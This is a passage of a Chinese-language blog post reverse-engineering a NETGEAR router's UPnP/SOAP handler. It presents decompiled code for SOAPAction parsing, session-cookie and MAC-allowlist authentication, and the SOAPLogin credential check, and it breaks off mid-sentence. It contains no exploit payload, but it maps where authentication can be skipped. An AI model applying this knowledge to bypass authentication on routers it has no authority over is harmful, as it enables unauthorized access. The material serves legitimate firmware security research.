UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  程序维护了一个<strong style="line-height: 1.75;color: rgb(255, 118, 118);">内部服务名列表</strong>，每个最长30字节，一共11个服务；根据<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">SOAPAction</code>字段所指定的服务名获取对应列表下标：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">  v11 = stristr(http_v4, <span style="color: rgb(152, 195, 121);">&#34;SOAPAction:&#34;</span>);<br/>  <span style="color: rgb(198, 120, 221);">if</span> ( !v11 )<br/>    <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(209, 154, 102);">-1</span>;<br/>  v12 = aDeviceinfo;                            <span style="color: rgb(92, 99, 112);font-style: italic;">// parentalcontrol: index == 7  DeviceConfig: index == 1</span><br/>  action_v13 = v11 + <span style="color: rgb(209, 154, 102);">11</span>;<br/>  <span style="color: rgb(198, 120, 221);">while</span> ( <span style="color: rgb(209, 154, 102);">1</span> )                                   <span style="color: rgb(92, 99, 112);font-style: italic;">// travel 11 internal serverName</span><br/>  {<br/>    ServerNamePTR = v12;<br/>    v14 = <span style="color: rgb(230, 192, 123);">strchr</span>(action_v13, <span style="color: rgb(152, 195, 121);">&#39;\r&#39;</span>);<br/>    v15 = v14 - action_v13;<br/>    <span style="color: rgb(198, 120, 221);">if</span> ( v14 )                                  <span style="color: rgb(92, 99, 112);font-style: italic;">// action length &lt;= 127</span><br/>    {<br/>      <span style="color: rgb(198, 120, 221);">if</span> ( v15 &gt; <span style="color: rgb(209, 154, 102);">126</span> )<br/>        v15 = <span style="color: rgb(209, 154, 102);">127</span>;<br/>    }<br/>    <span style="color: rgb(198, 120, 221);">else</span><br/>    {<br/>      v15 = <span style="color: rgb(209, 154, 102);">127</span>;<br/>    }<br/>    <span style="color: rgb(230, 192, 123);">strncpy</span>((<span style="color: rgb(209, 154, 102);">char</span> *)&amp;v93, action_v13, v15);<br/>    v101 = <span style="color: rgb(209, 154, 102);">0</span>;<br/>    v16 = stristr((<span style="color: rgb(209, 154, 102);">const</span> <span style="color: rgb(209, 154, 102);">char</span> *)&amp;v93, v12);<br/>    v12 += <span style="color: rgb(209, 154, 102);">30</span>;<br/>    <span style="color: rgb(198, 120, 221);">if</span> ( v16 )<br/>      <span style="color: rgb(198, 120, 221);">break</span>;<br/>    <span style="color: rgb(198, 120, 221);">if</span> ( ++v8 == <span style="color: rgb(209, 154, 102);">11</span> )<br/>    {<br/>      serverIdx = <span style="color: rgb(209, 154, 102);">-1</span>;<br/>      <span style="color: rgb(198, 120, 221);">goto</span> LABEL_14;<br/>    }<br/>  }<br/>  serverIdx = v8;</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  内部服务有：<strong style="line-height: 1.75;color: rgb(255, 118, 118);">DeviceInfo，DeviceConfig，WANIPConnection，WANEthernetLinkConfig，LANConfigSecurity，WLANConfiguration，Time，ParentalControl，AppSystem，AdvancedQoS，UserOptionsTC</strong></p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">SOAPAction字段构成为：<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">urn:NETGEAR-ROUTER:service:{ServerName}:1#{ActionName}</code></p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">用户验证</h2><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">  cookie = stristr(http_v4, <span style="color: rgb(152, 195, 121);">&#34;Cookie:&#34;</span>);<br/>  v21 = stristr(http_v4, <span style="color: rgb(152, 195, 121);">&#34;SOAPAction:&#34;</span>);<br/>  <span style="color: rgb(198, 120, 221);">if</span> ( v21 &amp;&amp; *(v21 - <span style="color: rgb(209, 154, 102);">2</span>) == <span style="color: rgb(152, 195, 121);">&#39;\r&#39;</span> &amp;&amp; *(v21 - <span style="color: rgb(209, 154, 102);">1</span>) == <span style="color: rgb(152, 195, 121);">&#39;\n&#39;</span> &amp;&amp; (a1 = v21, v41 = <span style="color: rgb(230, 192, 123);">strchr</span>(v21, *(v21 - <span style="color: rgb(209, 154, 102);">2</span>)), (v42 = v41) != <span style="color: rgb(209, 154, 102);">0</span>) )<br/>  {<br/>    *v41 = v20;<br/>    login = stristr(a1, <span style="color: rgb(152, 195, 121);">&#34;service:DeviceConfig:1#SOAPLogin&#34;</span>) == <span style="color: rgb(209, 154, 102);">0</span>;<span style="color: rgb(92, 99, 112);font-style: italic;">// service:DeviceConfig:1#SOAPLogin</span><br/>    *v42 = <span style="color: rgb(152, 195, 121);">&#39;\r&#39;</span>;<br/>  }<br/>  <span style="color: rgb(198, 120, 221);">else</span><br/>  {<br/>    login = <span style="color: rgb(209, 154, 102);">1</span>;<br/>  }<br/>  <span style="color: rgb(198, 120, 221);">if</span> ( cookie )<br/>    login_v23 = login;<br/>  <span style="color: rgb(198, 120, 221);">else</span><br/>    login_v23 = <span style="color: rgb(209, 154, 102);">0</span>;<br/>  <span style="color: rgb(198, 120, 221);">if</span> ( !login_v23 || (v91 = <span style="color: rgb(230, 192, 123);">strchr</span>(cookie, <span style="color: rgb(152, 195, 121);">&#39;\r&#39;</span>)) == <span style="color: rgb(209, 154, 102);">0</span> )<span style="color: rgb(92, 99, 112);font-style: italic;">// if logined</span><br/>  {<br/>Login_63:<br/>    Addr_EB9C8 = <span style="color: rgb(209, 154, 102);">0</span>;<br/>    v43 = inet_ntoa((<span style="color: rgb(198, 120, 221);">struct</span> in_addr)int_addr_v6);<br/>    <span style="color: rgb(230, 192, 123);">strcpy</span>(&amp;Addr_EB9C8, v43);<br/>    v44 = inet_ntoa((<span style="color: rgb(198, 120, 221);">struct</span> in_addr)int_addr_v6);<br/>    v45 = (<span style="color: rgb(209, 154, 102);">const</span> <span style="color: rgb(209, 154, 102);">char</span> *)acosNvramConfig_get((<span style="color: rgb(209, 154, 102);">int</span>)<span style="color: rgb(152, 195, 121);">&#34;lan_ipaddr&#34;</span>);<br/>    <span style="color: rgb(198, 120, 221);">if</span> ( <span style="color: rgb(230, 192, 123);">strcmp</span>(v44, v45)<br/>      &amp;&amp; (<span style="color: rgb(230, 192, 123);">strncmp</span>(action_v13, <span style="color: rgb(152, 195, 121);">&#34; urn:NETGEAR-ROUTER:service:ParentalControl:1#Authenticate&#34;</span>, <span style="color: rgb(209, 154, 102);">0x3A</span>u)<br/>       &amp;&amp; <span style="color: rgb(230, 192, 123);">strncmp</span>(action_v13, <span style="color: rgb(152, 195, 121);">&#34; \&#34;urn:NETGEAR-ROUTER:service:ParentalControl:1#Authenticate\&#34;&#34;</span>, <span style="color: rgb(209, 154, 102);">0x3C</span>u)<br/>       || serverIdx != <span style="color: rgb(209, 154, 102);">7</span>)<br/>      &amp;&amp; (<span style="color: rgb(230, 192, 123);">strncmp</span>(action_v13, <span style="color: rgb(152, 195, 121);">&#34; urn:NETGEAR-ROUTER:service:DeviceConfig:1#SOAPLogin&#34;</span>, <span style="color: rgb(209, 154, 102);">0x34</span>u)<br/>       &amp;&amp; <span style="color: rgb(230, 192, 123);">strncmp</span>(action_v13, <span style="color: rgb(152, 195, 121);">&#34; \&#34;urn:NETGEAR-ROUTER:service:DeviceConfig:1#SOAPLogin\&#34;&#34;</span>, <span style="color: rgb(209, 154, 102);">0x36</span>u)<br/>       || serverIdx != <span style="color: rgb(209, 154, 102);">1</span>) )<br/>    {<br/>      v94 = <span style="color: rgb(209, 154, 102);">0</span>;<br/>      v95 = <span style="color: rgb(209, 154, 102);">0</span>;<br/>      v96 = <span style="color: rgb(209, 154, 102);">0</span>;<br/>      v97 = <span style="color: rgb(209, 154, 102);">0</span>;<br/>      v98 = <span style="color: rgb(209, 154, 102);">0</span>;<br/>      v99 = <span style="color: rgb(209, 154, 102);">0</span>;<br/>      v100 = <span style="color: rgb(209, 154, 102);">0</span>;<br/>      v93 = <span style="color: rgb(209, 154, 102);">0</span>;<br/>      <span style="color: rgb(230, 192, 123);">memset</span>(&amp;s, <span style="color: rgb(209, 154, 102);">0</span>, <span style="color: rgb(209, 154, 102);">0x80</span>u);<br/>      v46 = fopen(<span style="color: rgb(152, 195, 121);">&#34;/tmp/opendns_auth.tbl&#34;</span>, <span style="color: rgb(152, 195, 121);">&#34;r&#34;</span>);  <span style="color: rgb(92, 99, 112);font-style: italic;">// login recoder</span><br/>      <span style="color: rgb(198, 120, 221);">if</span> ( v46 )<br/>      {<br/>        getMacList((<span style="color: rgb(209, 154, 102);">int</span>)&amp;v93);<br/>        <span style="color: rgb(198, 120, 221);">while</span> ( fgets(&amp;s, <span style="color: rgb(209, 154, 102);">128</span>, v46) )<br/>        {<br/>          <span style="color: rgb(198, 120, 221);">if</span> ( <span style="color: rgb(230, 192, 123);">strstr</span>(&amp;s, (<span style="color: rgb(209, 154, 102);">const</span> <span style="color: rgb(209, 154, 102);">char</span> *)&amp;v93) )<br/>          {<br/>            fclose(v46);<br/>            <span style="color: rgb(198, 120, 221);">goto</span> Dofunc_34;       <span style="color: rgb(92, 99, 112);font-style: italic;">// if the user`s mac_addr in the recode list then don&#39;t need check</span><br/>          }<br/>        }<br/>        fclose(v46);<br/>        resp_state = <span style="color: rgb(209, 154, 102);">401</span>;<br/>        <span style="color: rgb(198, 120, 221);">return</span> respond(<span style="color: rgb(209, 154, 102);">0</span>, <span style="color: rgb(209, 154, 102);">0x20000</span>, XMLBODY, int_fd_v5, resp_state);<br/>      }<br/>      <span style="color: rgb(198, 120, 221);">goto</span> Unauthor_61;<br/>    }<br/>    <span style="color: rgb(198, 120, 221);">goto</span> Dofunc_34;<br/>  }<br/>  *v91 = <span style="color: rgb(209, 154, 102);">0</span>;<br/>  v24 = <span style="color: rgb(230, 192, 123);">strstr</span>(cookie, <span style="color: rgb(152, 195, 121);">&#34;sess_id=&#34;</span>);<br/>  <span style="color: rgb(198, 120, 221);">if</span> ( !v24 )<br/>  {<br/>    *v91 = <span style="color: rgb(209, 154, 102);">13</span>;<br/>    <span style="color: rgb(198, 120, 221);">goto</span> Login_63;<br/>  }<br/>  sessPtr = v24 + <span style="color: rgb(209, 154, 102);">8</span>;<br/>  v26 = <span style="color: rgb(230, 192, 123);">strchr</span>(v24 + <span style="color: rgb(209, 154, 102);">8</span>, <span style="color: rgb(152, 195, 121);">&#39;;&#39;</span>);<br/>  <span style="color: rgb(198, 120, 221);">if</span> ( v26 )<br/>  {<br/>    *v26 = <span style="color: rgb(209, 154, 102);">0</span>;<br/>    v27 = v26;<br/>    v28 = sessConfirm(sessPtr, (<span style="color: rgb(209, 154, 102);">const</span> <span style="color: rgb(209, 154, 102);">char</span> *)&amp;v93, int_addr_v6);<br/>    *v27 = <span style="color: rgb(209, 154, 102);">59</span>;<br/>  }<br/>  <span style="color: rgb(198, 120, 221);">else</span><br/>  {<br/>    v28 = sessConfirm(sessPtr, (<span style="color: rgb(209, 154, 102);">const</span> <span style="color: rgb(209, 154, 102);">char</span> *)&amp;v93, int_addr_v6);<br/>  }<br/>  <span style="color: rgb(198, 120, 221);">if</span> ( !v28 )<br/>    <span style="color: rgb(198, 120, 221);">goto</span> Unauthor_61;<br/>Unauthor_61:<br/>    resp_state = <span style="color: rgb(209, 154, 102);">401</span>;<br/>    <span style="color: rgb(198, 120, 221);">return</span> respond(<span style="color: rgb(209, 154, 102);">0</span>, <span style="color: rgb(209, 154, 102);">0x20000</span>, XMLBODY, int_fd_v5, resp_state);<br/>  }</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  验证策略由cookie验证和login验证组成，其中Cookie格式为：<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">sess_id=???????; SameSite=Strict</code>。部分服务提供mac验证，不需要Cookie；在<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">sessConfirm</code>函数中验证session_ID，其内部维护了session列表。</p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">login</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  Cookie中的session ID是通过第一次调用login服务得来的，在<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">sub_41900-&gt;processAction</code>中调用不同服务对应的不同action：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">Docontrol_35:<br/>  <span style="color: rgb(198, 120, 221);">if</span> ( serverIdx == <span style="color: rgb(209, 154, 102);">-1</span><br/>    || (v29 = ServerNamePTR,<br/>        <span style="color: rgb(230, 192, 123);">printf</span>(<span style="color: rgb(152, 195, 121);">&#34;%s()\n&#34;</span>, <span style="color: rgb(152, 195, 121);">&#34;sa_saveXMLServiceType&#34;</span>),<br/>        <span style="color: rgb(230, 192, 123);">memset</span>(soapAction, <span style="color: rgb(209, 154, 102);">0</span>, <span style="color: rgb(209, 154, 102);">100u</span>),<br/>        (v30 = stristr(http_v4, <span style="color: rgb(152, 195, 121);">&#34;urn:&#34;</span>)) == <span style="color: rgb(209, 154, 102);">0</span>)<br/>    || (v31 = stristr(v30 + <span style="color: rgb(209, 154, 102);">4</span>, <span style="color: rgb(152, 195, 121);">&#34;:&#34;</span>)) == <span style="color: rgb(209, 154, 102);">0</span><br/>    || (v32 = stristr(http_v4, v29)) == <span style="color: rgb(209, 154, 102);">0</span> )<br/>  {<br/>Unauthor_61:<br/>    resp_state = <span style="color: rgb(209, 154, 102);">401</span>;<br/>    <span style="color: rgb(198, 120, 221);">return</span> respond(<span style="color: rgb(209, 154, 102);">0</span>, <span style="color: rgb(209, 154, 102);">0x20000</span>, XMLBODY, int_fd_v5, resp_state);<br/>  }<br/>  v33 = <span style="color: rgb(230, 192, 123);">strlen</span>(v29);<br/>  <span style="color: rgb(230, 192, 123);">strcat</span>(soapAction, <span style="color: rgb(152, 195, 121);">&#34;urn:NETGEAR-ROUTER&#34;</span>);<br/>  v34 = <span style="color: rgb(230, 192, 123);">strlen</span>(soapAction);<br/>  <span style="color: rgb(230, 192, 123);">memcpy</span>(&amp;soapAction[v34], v31, &amp;v32[v33] - v31);<br/>  <span style="color: rgb(230, 192, 123);">strcat</span>(soapAction, <span style="color: rgb(152, 195, 121);">&#34;:1&#34;</span>);<br/>  <span style="color: rgb(230, 192, 123);">printf</span>(<span style="color: rgb(152, 195, 121);">&#34;sa_service_type_buf=%s\r\n&#34;</span>, soapAction);<br/>  flag_v35 = ifSSL;<br/>  <span style="color: rgb(198, 120, 221);">if</span> ( ifSSL )<br/>    flag_v35 = <span style="color: rgb(209, 154, 102);">1</span>;<br/>  v36 = processAction(flag_v35, serverIdx, http_v4, int_fd_v5, pass_v7, (<span style="color: rgb(209, 154, 102);">char</span> *)int_addr_v6);<br/>  <span style="color: rgb(198, 120, 221);">if</span> ( v36 &gt; <span style="color: rgb(209, 154, 102);">1</span> )<br/>  {<br/>    resp_state = v36;<br/>    <span style="color: rgb(198, 120, 221);">return</span> respond(<span style="color: rgb(209, 154, 102);">0</span>, <span style="color: rgb(209, 154, 102);">0x20000</span>, XMLBODY, int_fd_v5, resp_state);<br/>  }</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  在<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">processAction</code>函数中主要通过一个<strong style="line-height: 1.75;color: rgb(255, 118, 118);">switch case来调用不同action</strong>，在<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">isNameiMatch(const char *keySrc, int key_idx)</code>中根据kei_idx在action列表查对应action名(同样)，然后在对比keySrc(即http data)中是否指定了该action，如果是返回1。</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">serverIdx_v6 = serverIdx;<br/>http_v7 = http;<br/>flag_a1 = ifssl;<br/>fd = int_fd;<br/>in_addr_v8 = in_addr;<br/><span style="color: rgb(230, 192, 123);">printf</span>(<span style="color: rgb(152, 195, 121);">&#34;%s():type=%d\n&#34;</span>, <span style="color: rgb(152, 195, 121);">&#34;sa_processResponse&#34;</span>, serverIdx);<br/><span style="color: rgb(198, 120, 221);">switch</span> ( serverIdx_v6 )<br/>{<br/>    <span style="color: rgb(198, 120, 221);">case</span> <span style="color: rgb(209, 154, 102);">0</span>:<br/>        <span style="color: rgb(198, 120, 221);">if</span> ( isNameiMatch(http_v7, <span style="color: rgb(209, 154, 102);">0</span>) == <span style="color: rgb(209, 154, 102);">1</span> )<br/>            <span style="color: rgb(198, 120, 221);">goto</span> LABEL_251;<br/>        <span style="color: rgb(198, 120, 221);">if</span> ( isNameiMatch(http_v7, <span style="color: rgb(209, 154, 102);">19</span>) == <span style="color: rgb(209, 154, 102);">1</span> )<br/>        {<br/>            key_idx = <span style="color: rgb(209, 154, 102);">19</span>;<br/>            flag_v12 = <span style="color: rgb(209, 154, 102);">-1</span>;<br/>            <span style="color: rgb(198, 120, 221);">goto</span> LABEL_252;<br/>        }<br/>        {...}<br/>}<br/><span style="color: rgb(92, 99, 112);font-style: italic;">/*<br/>.data:00083B88 ; specialAction ActionList[400]<br/>.data:00083B88 ActionList      DCD 0, 0x49BB8, 1, 0x47F68, 2, 0x49BC0, 3, 0x49BD4, 4<br/>.data:00083B88                                         ; DATA XREF: GotName:loc_2A91C↑o<br/>.data:00083B88                                         ; .text:off_2A960↑o<br/>.data:00083B88                 DCD 0x48578, 5, 0x49BE8, 6, 0x49BFC, 7, 0x49C10, 8, 0x49C18<br/>.data:00083B88                 DCD 9, 0x49C24, 0xA, 0x49C30, 0xB, 0x49C3C, 0xC, 0x49C4C<br/>.data:00083B88                 DCD 0x9B, 0x49C60, 0xD, 0x49C78, 0xE, 0x49C88, 0xF, 0x49C9C<br/>.data:00083B88                 DCD 0x10, 0x49CA8, 0x11, 0x49CB8, 0x12, 0x49CC8, 0x13<br/>.data:00083B88                 DCD 0x49CD8, 0x14, 0x49CF4, 0x15, 0x49D0C, 0x16, 0x49BB8<br/>.data:00083B88                 DCD 0x17, 0x49BB8, 0x18, 0x49BB8, 0x19, 0x49BB8, 0x1A<br/>.data:00083B88                 DCD 0x49D24, 0x1B, 0x49D34, 0x1C, 0x49D44, 0x1D, 0x49D58<br/>.data:00083B88                 DCD 0x1E, 0x49D68, 0x1F, 0x49D7C, 0x20, 0x49D8C, 0x21<br/>.data:00083B88                 DCD 0x49D9C, 0x22, 0x49DB0, 0x23, 0x49DC4, 0x24, 0x49DD8<br/>.data:00083B88                 DCD 0x25, 0x49DF0, 0x26, 0x49E0C, 0x27, 0x49E14, 0x28<br/>.data:00083B88                 DCD 0x49E28, 0x29, 0x49E34, 0x2A, 0x48250, 0x2B, 0x49E40<br/>.data:00083B88                 DCD 0x2C, 0x49E54, 0x2D, 0x49E6C, 0x2E, 0x49E80, 0x2F<br/>*/</span></code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  upnp的login action名为<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">SOAPLogin</code>，属于DeviceConfig服务，action下标为197：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><span style="color: rgb(198, 120, 221);">if</span> ( key_idx != <span style="color: rgb(209, 154, 102);">197</span> )<br/>    <span style="color: rgb(198, 120, 221);">goto</span> LABEL_264;<br/>v54 = stristr(http_v7, <span style="color: rgb(152, 195, 121);">&#34;&lt;Username&#34;</span>);<span style="color: rgb(92, 99, 112);font-style: italic;">// login check</span><br/>v55 = v54;<br/><span style="color: rgb(198, 120, 221);">if</span> ( v54 )<br/>{<br/>    v55 = stristr(v54, <span style="color: rgb(152, 195, 121);">&#34;&gt;&#34;</span>);<br/>    <span style="color: rgb(198, 120, 221);">if</span> ( v55 )<br/>    {<br/>        v56 = stristr(http_v7, <span style="color: rgb(152, 195, 121);">&#34;&lt;/Username&gt;&#34;</span>);<br/>        <span style="color: rgb(198, 120, 221);">if</span> ( v56 )<br/>        {<br/>            *v56 = <span style="color: rgb(209, 154, 102);">0</span>;<br/>            v57 = v56;<br/>            v55 = (<span style="color: rgb(209, 154, 102);">char</span> *)acosNvramConfig_match(<span style="color: rgb(152, 195, 121);">&#34;http_username&#34;</span>, v55 + <span style="color: rgb(209, 154, 102);">1</span>);<span style="color: rgb(92, 99, 112);font-style: italic;">// what is the original &#39;http_username&#39; ?</span><br/>            *v57 = <span style="color: rgb(152, 195, 121);">&#39;&lt;&#39;</span>;<br/>        }<br/>        <span style="color: rgb(198, 120, 221);">else</span><br/>        {<br/>            v55 = <span style="color: rgb(209, 154, 102);">0</span>;<br/>        }<br/>    }<br/>}<br/>v58 = stristr(http_v7, <span style="color: rgb(152, 195, 121);">&#34;&lt;Password&#34;</span>);<br/><span style="color: rgb(198, 120, 221);">if</span> ( !v58 )<br/>    <span style="color: rgb(198, 120, 221);">goto</span> LABEL_836;<br/>a3 = stristr(v58, <span style="color: rgb(152, 195, 121);">&#34;&gt;&#34;</span>);<br/><span style="color: rgb(198, 120, 221);">if</span> ( !a3 )<br/>    <span style="color: rgb(198, 120, 221);">goto</span> LABEL_836;<br/>v59 = stristr(http_v7, <span style="color: rgb(152, 195, 121);">&#34;&lt;/Password&gt;&#34;</span>);<br/><span style="color: rgb(198, 120, 221);">if</span> ( !v59 )<br/>    <span style="color: rgb(198, 120, 221);">goto</span> LABEL_836;<br/>*v59 = <span style="color: rgb(209, 154, 102);">0</span>;<br/>v77 = v59;<br/>*(_DWORD *)v82 = <span style="color: rgb(209, 154, 102);">0</span>;<br/><span style="color: rgb(230, 192, 123);">memset</span>(&amp;v83, <span style="color: rgb(209, 154, 102);">0</span>, <span style="color: rgb(209, 154, 102);">0x7C</span>u);<br/>doHash(a3 + <span style="color: rgb(209, 154, 102);">1</span>, v82, a3, v60);       <span style="color: rgb(92, 99, 112);font-style: italic;">// passwd stored in SHA256 format</span><br/>v61 = acosNvramConfig_match(<span style="color: rgb(152, 195, 121);">&#34;http_passwd_digest&#34;</span>, v82);<br/>v62 = v61 == <span style="color: rgb(209, 154, 102);">0</span>;<br/><span style="color: rgb(198, 120, 221);">if</span> ( v61 )<br/>    v62 = v55 == <span style="color: rgb(209, 154, 102);">0</span>;<br/>*v77 = <span style="color: rgb(209, 154, 102);">60</span>;<br/><span style="color: rgb(198, 120, 221);">if</span> ( !v62 )                         <span style="color: rgb(92, 99, 112);font-style: italic;">// account right</span><br/>{<br/>    sub_31CDC((<span style="color: rgb(209, 154, 102);">int</span>)&amp;v99, (<span style="color: rgb(209, 154, 102);">in_addr_t</span>)in_addr, <span style="color: rgb(209, 154, 102);">0</span>);<span style="color: rgb(92, 99, 112);font-style: italic;">// generate cookie</span><br/>    v63 = sub_32014((<span style="color: rgb(209, 154, 102);">signed</span> <span style="color: rgb(209, 154, 102);">int</span>)&amp;v99, (<span style="color: rgb(209, 154, 102);">int</span>)in_addr);<br/>    <span style="color: rgb(198, 120, 221);">if</span> ( v63 &lt;= <span style="color: rgb(209, 154, 102);">0</span> )<br/>        v63 = <span style="color: rgb(209, 154, 102);">503</span>;<br/>    resp_state = v63;<br/>}</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  需要在发送的http包中指定<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">&lt;Username&gt;Name&lt;/Username&gt;</code>，<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 